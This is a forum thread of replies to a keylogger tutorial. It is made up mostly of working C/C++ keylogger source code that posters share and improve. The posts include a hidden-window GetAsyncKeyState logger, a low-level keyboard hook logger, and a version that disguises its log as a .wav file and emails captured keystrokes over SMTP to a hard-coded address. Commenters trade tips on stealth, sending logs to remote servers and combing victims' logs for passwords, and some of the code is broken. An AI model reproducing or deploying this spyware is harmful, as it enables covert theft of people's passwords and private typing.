1. No, it is not irrelevant. `system("PAUSE")` is and always will be bad practice. Just because it is not aimed at multiple platforms does not mean that you should write platform dependant code.

For example, you could be suicidal, but that doesn't mean that you should kill yourself.

2. Are you thick? `system("PAUSE")` requires you to press a key before it closes, and is virtually identical to `std::cin.get()` in this context.

If the window is hidden, it is irrelevant anyway.

I may not have copious amounts of knowledge about C++, but you seem to have even less, so please get it right next time.

worldblackstar - March 15, 2011, 8:57 am

Thanks for the help brother. I am well in c and c++ but doesn't know how to create a keylogger. This will helpful for me. Let me analyse the code completely and develop it myself.

ackmul - March 15, 2011, 2:29 pm

good tut, if you want to make it more stealth try calling `GetAsyncKeyState` from respective dll ;)

profighter - March 23, 2011, 8:42 am

Where will be save the data

SetanXXX - March 30, 2011, 4:40 pm

Ooohh great tut...thanx for sharing this..I have a question,bro..How if I want to save the logs in another dir instead make it in same dir with the exe??I mean, I wanna save the exe in C:, but I wanna make Log.txt save in D:...what should I suppose to do?? Anyway, I have compile and run it, and it works...Thanks again for sharing....

StuReKarlzzon - March 31, 2011, 2:07 am

(Mar 30, 2011 04:40 PM)SetanXXX Wrote: [\[CITE\]](#) Ooohh great tut...thanx for sharing this..I have a question,bro..How if I want to save the logs in another dir instead make it in same dir with the exe??I mean, I wanna save the exe in C:, but I wanna make Log.txt save in D:...what should I suppose to do?? Anyway, I have compile and run it, and it works...Thanks again for sharing....

If you want to save it to another directory just write the full path. And don't forget double backslash :)

Ex.

"D:\\Log.txt"

gdowdy - April 5, 2011, 2:58 pm

thanks for all the help! looking forward to doing this

?rion - April 5, 2011, 4:01 pm

Don't copy other peoples videos. If you do, at least change it around.

I believe this was it.

[Video: <http://www.youtube.com/watch?v=rn20tjb1RDc>]

Sia - April 6, 2011, 3:40 am

Nice going Supporting C/P skids.

You should be proud of yourself, you little mug.

lolusr - April 6, 2011, 12:57 pm

GetAsyncKeyState is dumb. Just use SetWindowsHookEx and LowLevelKeyboardProc.

fro57 - April 6, 2011, 1:13 pm

that was great!! code for keylogger...

can any1 tell me...is it necessary to learn c++ to know python??

lolusr - April 6, 2011, 1:16 pm

(Apr 6, 2011 01:13 PM)fro57 Wrote: [\[CITE\]](#) can any1 tell me...is it necessary to learn c++ to know python??

No, if you want to learn C++ just go for it. You'd only be wasting your time learning python if it's just to learn C++ later. They're quite different languages anyway and C++ isn't difficult.

?rion - April 6, 2011, 5:05 pm

(Apr 6, 2011 03:40 AM)Sia Wrote: [\[CITE\]](#) Nice going Supporting C/P skids.

You should be proud of yourself, you little mug.

Yeah, fuck this little C/P script running juvenile(Skid) as you said.

Also, how the fuck did you get 20k visits? I'm really sure you used a botnet to open this URL.

HackSlave - April 7, 2011, 9:50 am

very nice tut, thx dude it worked vrry wel

sk3ltr0n - April 12, 2011, 12:40 pm

So, how to declare the output?

Wind - April 12, 2011, 8:49 pm

This way works fine if you want it to hog all your victim's RAM... talk about "stealth". lol

pumpkine69 - April 25, 2011, 10:12 am

Hello,

I have created a very simple keylogger using C++ and i am wondering what is the code so that when the file is opened the log will send to an FTP server (one im using is drivehq.com) maybe its not good if so tell me please. Also where do i put the code because i have tried to put it from the top but it does not work. Thank you for your help. the code i created is below. Its from a video tutorial so obviously im a noob at this lol.

```
#include <iostream>
```

```

using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char file);
void Stealth();

int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            Save(i,"LOG.TXT");
        }
    }
    system("PAUSE");
    return 0;
}
/ /
/ /
int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)

```

```

    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/ /
/ */
void Stealth()
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth,0);
}

```

Jord Jr. - May 2, 2011, 8:00 pm

Looks Interesting , will give it a try Later On.

Hardspit - May 4, 2011, 5:29 am

hmm i need to learn c++ first but it looks helpfull

Forsak3N - May 4, 2011, 5:32 am

I was waiting fir this one a long time ago,thanks!

Dgameman1 - May 4, 2011, 9:13 pm

Nice leeching...

<http://www.youtube.com/watch?v=UA3Fvpm1WOs&feature=related>

gumby7826 - June 14, 2011, 4:28 pm

how do you check the keys that have been logged

Kempez - June 24, 2011, 3:34 am

So does this work on Notepad++ ? I'm new to this..

frozenmind - June 24, 2011, 3:51 am

Thats not C++ lol. Thats a mix of C++ and C. If you were coding in C++, you would use string for filename, fstream for file handle, and not fprintf and such...

Irritable - June 24, 2011, 4:28 am

(Jun 24, 2011 03:51 AM)frozenmind Wrote: [\[CITE\]](#) Thats not C++ lol. Thats a mix of C++ and C. If

you were coding in C++, you would use string for filename, fstream for file handle, and not fprintf and such...

No such thing as "a mix of C++ and C."

Code `#include <iostream> // These we need to`

This is clearly a C++ program.

SuperMan91 - June 25, 2011, 6:14 am

(May 4, 2011 09:13 PM)dgame1 Wrote: [\[CITE\]](#) Nice leeching...

<http://www.youtube.com/watch?v=UA3Fvpm1WOs&feature=related>

Nice find. I'm learning from those videos now.

2C. - June 25, 2011, 7:33 am

looks very similair like mine O_o

Hannibal Lecter - June 25, 2011, 7:51 am

Wow thx!i was looking for this!

DragonHunter - June 25, 2011, 10:02 am

woow... next time ur copy/pasting or working at a project like this u should read this to improve it by 99%

1. Hook the keyboard
2. Stop using GetAsyncKeyState
3. The stealth function is bullshit, Create a window app without a form
4. System("PAUSE"); what the fuck ? just use cin.get();
5. Why are your using cout if theres no console at all ? a keylogger is supposed to be hidden
6. while(true) without a sleep ? have fun with lots of cpu usage
7. You know that a while(true) is a loop that never stops except if ur using break/return right ?
8. Don't leave 'using namespace std;' global just put it inside the 'int main()'
9. At the save function use the 'switch' -.-
10. A keylogger that is sending no logs what so ever to a remote server/email is just useless
11. If ur keeping the Stealth function and having it as a console app u would just see ur program for 100msec

Dbof - June 25, 2011, 10:54 am

(Jun 25, 2011 10:02 AM)DragonHunter Wrote: [\[CITE\]](#) woow... next time ur copy/pasting or working at a project like this u should read this to improve it by 99%

1. Hook the keyboard
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Did you notice OP and thread are old as hell? And the one who created the thread is also inactive. So where's the need to comment on his code anymore?

DragonHunter - June 25, 2011, 11:57 am

(Jun 25, 2011 10:54 AM)Dbof Wrote: [\[CITE\]](#) Did you notice OP and thread are old as hell? And the one who created the thread is also inactive. So where's the need to comment on his code anymore? People were still posting on it so why not ?
could be handy for those who still wants to improve it

SuperMan91 - June 27, 2011, 3:47 am

(Jun 25, 2011 11:57 AM)DragonHunter Wrote: [\[CITE\]](#) People were still posting on it so why not ?
could be handy for those who still wants to improve it
Yuh, it was the first thing that popped up. So I thought it was new. But that code doesn't even work for me on code::blocks... cries

devilin - June 27, 2011, 7:56 am

its really nice.... i nvr thought v can mak keylogger wit c++

Nereves - June 28, 2011, 12:57 pm

Worked fine for me. But, is there a way to terminate the programm?

€:Damnit, I should wear my glasses while sitting at the Computer. It's in the Task Manager and i overlooked it.

SuperMan91 - June 29, 2011, 2:43 am

(Jun 28, 2011 12:57 PM)Nereves Wrote: [\[CITE\]](#) Worked fine for me. But, is there a way to terminate the programm?

€:Damnit, I should wear my glasses while sitting at the Computer. It's in the Task Manager and i overlooked it.

What ide/compler are you using?

felixutomi - July 1, 2011, 4:06 pm

I am using dev-c++ i dont know C++, is there a way to send to email or FTp?

Kingwampa - July 3, 2011, 8:11 am

Wow worked great thanks!!

the_storm - July 9, 2011, 3:45 am

Heu dude what If I want this keylogger to send the log to my email ro to ftp server ???

b7s - August 9, 2011, 5:54 pm

i'll give it a try .
Thank you!!

crunchium - August 10, 2011, 5:16 am

hahaha thank you very much for this! =)

Psycho - August 10, 2011, 10:39 am

This is an awful keylogger, just so you guys know...

Caffeine - August 10, 2011, 11:09 am

This is a decent tutorial, good for beginners at least. GetAsyncKeyState doesn't capture all key strokes, especially if the 'infected' person is a fast typist. Not sure why that is, though.

Ethereal - August 10, 2011, 12:41 pm

(Aug 10, 2011 11:09 AM)Caffeine Wrote: [\[CITE\]](#) This is a decent tutorial, good for beginners at least. GetAsyncKeyState doesn't capture all key strokes, especially if the 'infected' person is a fast typist. Not sure why that is, though.

Probably due to the system's internal messaging system. The program probably doesn't iterate as fast as the messages are fired, so it can't pick up all.

Just my guess.

mudassar - August 11, 2011, 3:40 am

bro, it is good. but in task manager it takes 90% to 99% of CPU progress,any body having little knowing about computer can easily understand and will stop it.also it slow down the computer speed.

ULH4L - August 11, 2011, 5:56 am

Hey, I hope you don't mind if I added a Mutex to your original code. I just figured I'd help a little by adding one in. Here's the new code with said Mutex:

```
Code #include <iostream>
```

```
#include <windows.h>
```

```
#include <winuser.h>
```

```
using namespace std;
```

```
int Save (int key_stroke, char *file);
```

```
void Stealth();
```

```
int main()
```

```
{
```

```
    /* Put a Mutex in so they can't run multiple
```

```
    * instances of the Keylogger.
```

```
    * Change "BillyGates", to whatever string
```

```
    * of text you want.
```

```
    */
```

```
    CreateMutex(0, true, "BillyGates");
```

```
    if(GetLastError() == ERROR_ALREADY_EXISTS) {
```

```
        ExitProcess(0);
```

```
    }
```

```
    Stealth();
```

```
    char i;
```

```
    while (1)
```

```
    {
```

```
        for(i = 8; i <= 190; i++)
```

```
        {
```

```
            if (GetAsyncKeyState(i) == -32767)
```

```
                Save (i,"LOG.txt");
```

```
        }
```

```
    }
```

```
        system ("PAUSE");
```

```
    return 0;
```

```
}
```

```
/* ** */
```

```

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}
Thanks for the post :p

```

P.S. I think the code could be edited a little bit more.. Like using a keyboard hook and what not.

Aeonaxx - August 11, 2011, 11:07 pm

Hi guys, i suppose maybe u know C too, i'm writing a console program that can find a particullary word in a text file, and get two following lines, copy and paste in other text file, go for next same word in the log text and do all that again. I want just filter my keylogger received logs because it's tiring to search all passes one to one ^^ . I know how read and write but nothing else ? everyone can help? ^^

MOD3M - August 11, 2011, 11:10 pm

Nice tutorial. Good

[illegible]

Andrew094 - August 12, 2011, 1:06 pm

thank you for this, good work, I will try it out soon

venom1724 - August 23, 2011, 5:12 am

Nice tut, but i wonder, is there a way to detect which key/keys are pressed now with a func, not checking all the keys for being pressed, cuz it really sucks the cpu :? ... even with the sleep and process priority set :/

P?rky - August 23, 2011, 7:18 am

(Aug 23, 2011 05:12 AM)venom1724 Wrote: [\[CITE\]](#) Nice tut, but i wonder, is there a way to detect which key/keys are pressed now with a func, not checking all the keys for being pressed, cuz it really sucks the cpu :? ... even with the sleep and process priority set :/

```
Code if(GetAsyncKeyState(Virtual Key here)){
```

}

Virtual-Key Codes

zero.xode - August 26, 2011, 3:39 am

Great tutorial! I have other things to add! To make it more appropriate :)

Code `#include <windows.h>`

```
#include <stdio.h>
```

```
#include <winuser.h>
```

```
#include <windowsx.h>
```

```
#include <time.h>
```

```
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
```

```
#define BUFSIZE 800
```

```
#define waittime 500
```

/*If you don'tt know the mail exchange server for an address for the following "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain fo whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR IT WILL NOT WORK!!! */

```
#define cmailserver "gmail-smtp-in.l.google.com"
```

```
#define cemailto "c0de@gmail.com"
```

```
#define cemailfrom "c0de@gmail.com"
```

```
#define LogLength 100
```

```
#define FileName "sound.wav"
```

```

#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
    //Uncomment the lines below to put the keylogger in stealth mode.
    HWND stealth; /*creating stealth */
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

    {FILE *file;
    file=fopen(FileName,"a+");
    time_t theTime=time(0);
    fputs("\nStarted logging: ", file);
    fputs(ctime(&theTime),file);
    fclose(file);
    }

    if (test==2)
    {
        //the path in which the file needs to be
        char *path="c:\\%windir%\\svchost.exe";
        create=create_key(path);
    }

    int t=get_keys();
    return t;
}

int get_keys(void)
{
    int freadindex;
    char *buf;
    long len;
    FILE *file;
    file=fopen(FileName,"a+");

    short character;
    while(1)
    {
        sleep(10);/*to prevent 100% cpu usage*/
        for(character=8;character<=222;character++)
        {
            if(GetAsyncKeyState(character)==-32767)
            {
                FILE *file;
                file=fopen(FileName,"a+");
                if(file==NULL)
                {
                    return 1;
                }
                if(file!=NULL)

```

```

{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);

```

```
break;
case VK_OEM_3:
fputs("\r\n[~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n[`\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
```

```

case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
} part 2 follows in next post
Code FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET); //go to beg.
buf=(char *)malloc(len); //malloc buffer
freadindex=fread(buf,1,len,file); //read into buffer
buf[freadindex] = '\0'; //Extra bit I have to add to make it a sting
Maillt( cmailserver, cmailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

```

```

}
return EXIT_SUCCESS;
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;

#define bufsize 300
    int bytes_sent; /* Sock FD */
    int err;
    struct hostent *host; /* info from gethostbyname */
    struct sockaddr_in dest_addr; /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
        fputs("WSAStartup failed",smtpfile);
        WSACleanup();
        return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
        perror("gethostbyname");
        exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* Prepare dest_addr */
    dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
    dest_addr.sin_port= htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
    }
    /* Connect !*/
    fputs("Connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
    }
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"helo me.somepalace.com\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);

```

```

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else

```

```
    close(sockfd);
#endif
}
```

venom1724 - August 27, 2011, 3:55 am

(Aug 23, 2011 07:18 AM)Piggeey Wrote: [\[CITE\]](#) Code if(GetAsyncKeyState(Virtual Key here)){

```
}
```

[Virtual-Key Codes](#)

this checks for single key... i want func that return which keys are being pressed now etc ...

Dheerajma007 - August 27, 2011, 4:18 am

My keylogger:

```
#include <windows.h>
#include <stdio.h>
```

```
HINSTANCE appInstance;
HHOOK hKbdHook;
```

```
int _stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nShowCmd);
BOOL InitInstance(HINSTANCE hInstance);
LRESULT CALLBACK KbdHookProc(int nCode, WPARAM wParam, LPARAM lParam);
```

```
int _stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nShowCmd)
{
    MSG msg;
```

```
    while(!InitInstance(hInstance))
        return FALSE;
```

```
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
```

```
    return msg.wParam;
}
```

```
BOOL InitInstance(HINSTANCE hInstance)
{
    appInstance = hInstance;
```

```
    hKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KbdHookProc, appInstance, 0);
```

```
    return TRUE;
}
```

```
LRESULT CALLBACK KbdHookProc(int nCode, WPARAM wParam, LPARAM lParam)
```

```

{
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
    DWORD msg = 1;

    if(wParam != WM_KEYDOWN && wParam != WM_SYSKEYDOWN)
        return CallNextHookEx(NULL, nCode, wParam, lParam);

    msg += (p->scanCode << 16);
    msg += (p->flags << 24);

    char tmp[0xFF] = {0};

    GetKeyNameTextA(msg, tmp, 0xFF);

    HANDLE hFileOut = CreateFileA("KeyLogger.txt", GENERIC_READ | FILE_APPEND_DATA,
    FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL, NULL);

    char ch;
    DWORD dwReturned;

    for(int i = 0; i < 255; i++)
    {
        ch = (char)tmp[i];
        if(!ch)
            break;
        WriteFile(hFileOut, &ch, 1, &dwReturned, NULL);
    }

    ch = '\r';
    WriteFile(hFileOut, &ch, 1, &dwReturned, NULL);
    ch = '\n';
    WriteFile(hFileOut, &ch, 1, &dwReturned, NULL);

    return CallNextHookEx(NULL, nCode, wParam, lParam);

}

```

CamWhoreDirector - September 17, 2011, 3:42 pm

Copied this code after briefly looking it over, compiled cleanly, ran executable and it works like a charm! Love the stealth capability and I want to enhance it later with e-mail stuff and date time entry, thanks!

fcp4life - September 30, 2011, 8:13 pm

for some reason when i compile it errors come up....

```

error C2143: syntax error : missing ';' before '<'
error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
1: error C2065: 'FILE' : undeclared identifier
error C2065: 'OUTPUT_FILE' : undeclared identifier
error C2065: 'OUTPUT_FILE' : undeclared identifier
1 error C3861: 'fopen': identifier not found
error C2065: 'cout' : undeclared identifier
error C2065: 'endl' : undeclared identifier

```

error C2065: 'OUTPUT_FILE' : undeclared identifier
error C3861: 'fprintf': identifier not found
error C2065: 'OUTPUT_FILE' : undeclared identifier
error C3861: 'fprintf': identifier not found
error C2065: 'OUTPUT_FILE' : undeclared identifier
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: error C2065: 'OUTPUT_FILE' : undeclared identifier
: error C3861: 'fprintf': identifier not found
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: error C3861: 'fprintf': identifier not found
error C2065: 'OUTPUT_FILE' : undeclared identifier
error C3861: 'fclose': identifier not found

skybbuser - November 29, 2011, 12:49 pm

(Jan 3, 2009 02:45 PM)Dark Array Wrote: [\[CITE\]](#) well I think I started here:

http://www.3dbuzz.com/vbforum/sv_home.php

<http://www.gotmyidea.com/cat/c-video-tutorials>

thanks very much i found these links very useful.

googleminion - December 27, 2011, 12:27 am

Awesome TUT thank you! Hope this works.

Han. - December 27, 2011, 6:47 am

(Dec 27, 2011 01:27 AM)googleminion Wrote: [\[CITE\]](#) Awesome TUT thank you! Hope this works.

This was old, try not to dig up threads.

dcyber1 - January 27, 2012, 5:09 am

Hi mate,

I want to talk to you about the code you posted... I tried to PM you, but I don't have enough prevailages to do that right now.

Please get in touch with me through email. I'll respect and pay for your time.

My email- ashish(at)webcyonix(dot)c0m

Thanks

(Aug 26, 2011 03:39 AM)zero.xode Wrote: [\[CITE\]](#) Great tutorial! I have other things to add! To make it more appropiate :)

```

Code #include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don'tt know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain fo

whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "c0de@gmail.com"
#define cemailfrom "c0de@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
    //Uncomment the lines below to put the keylogger in stealth mode.
    HWND stealth; /*creating stealth */
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

    {FILE *file;
    file=fopen(FileName,"a+");
    time_t theTime=time(0);
    fputs("\nStarted logging: ", file);
    fputs(ctime(&theTime),file);
    fclose(file);
    }

    if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);
    }

    int t=get_keys();
    return t;
}

int get_keys(void)
{
    int freadindex;

```

```

char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");

short character;
while(1)
{
    sleep(10);/*to prevent 100% cpu usage*/
    for(character=8;character<=222;character++)
    {
        if(GetAsyncKeyState(character)==-32767)
        {
            FILE *file;
            file=fopen(FileName,"a+");
            if(file==NULL)
            {
                return 1;
            }
            if(file!=NULL)
            {
                if((character>=39)&&(character<=64))
                {
                    fputc(character,file);
                    fclose(file);
                    break;
                }
                else if((character>64)&&(character<91))
                {
                    character+=32;
                    fputc(character,file);
                    fclose(file);
                    break;
                }
                else
                {
                    switch(character)
                    {
                        case VK_SPACE:
                            fputc(' ',file);
                            fclose(file);
                            break;
                        case VK_SHIFT:
                            fputs("\r\n[SHIFT]\r\n",file);
                            fclose(file);
                            break;
                        case VK_RETURN:
                            fputs("\r\n[ENTER]\r\n",file);
                            fclose(file);
                            break;
                        case VK_BACK:
                            fputs("\r\n[BACKSPACE]\r\n",file);
                            fclose(file);

```

```
break;
case VK_TAB:
fputs("\n[TAB]\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\n[CTRL]\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\n[DEL]\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\n[:]\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\n[/?]\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\n[~]\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\n[ [{ ]\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\n[\\]\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\n[ ] ]\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\n['']\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
```

```
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
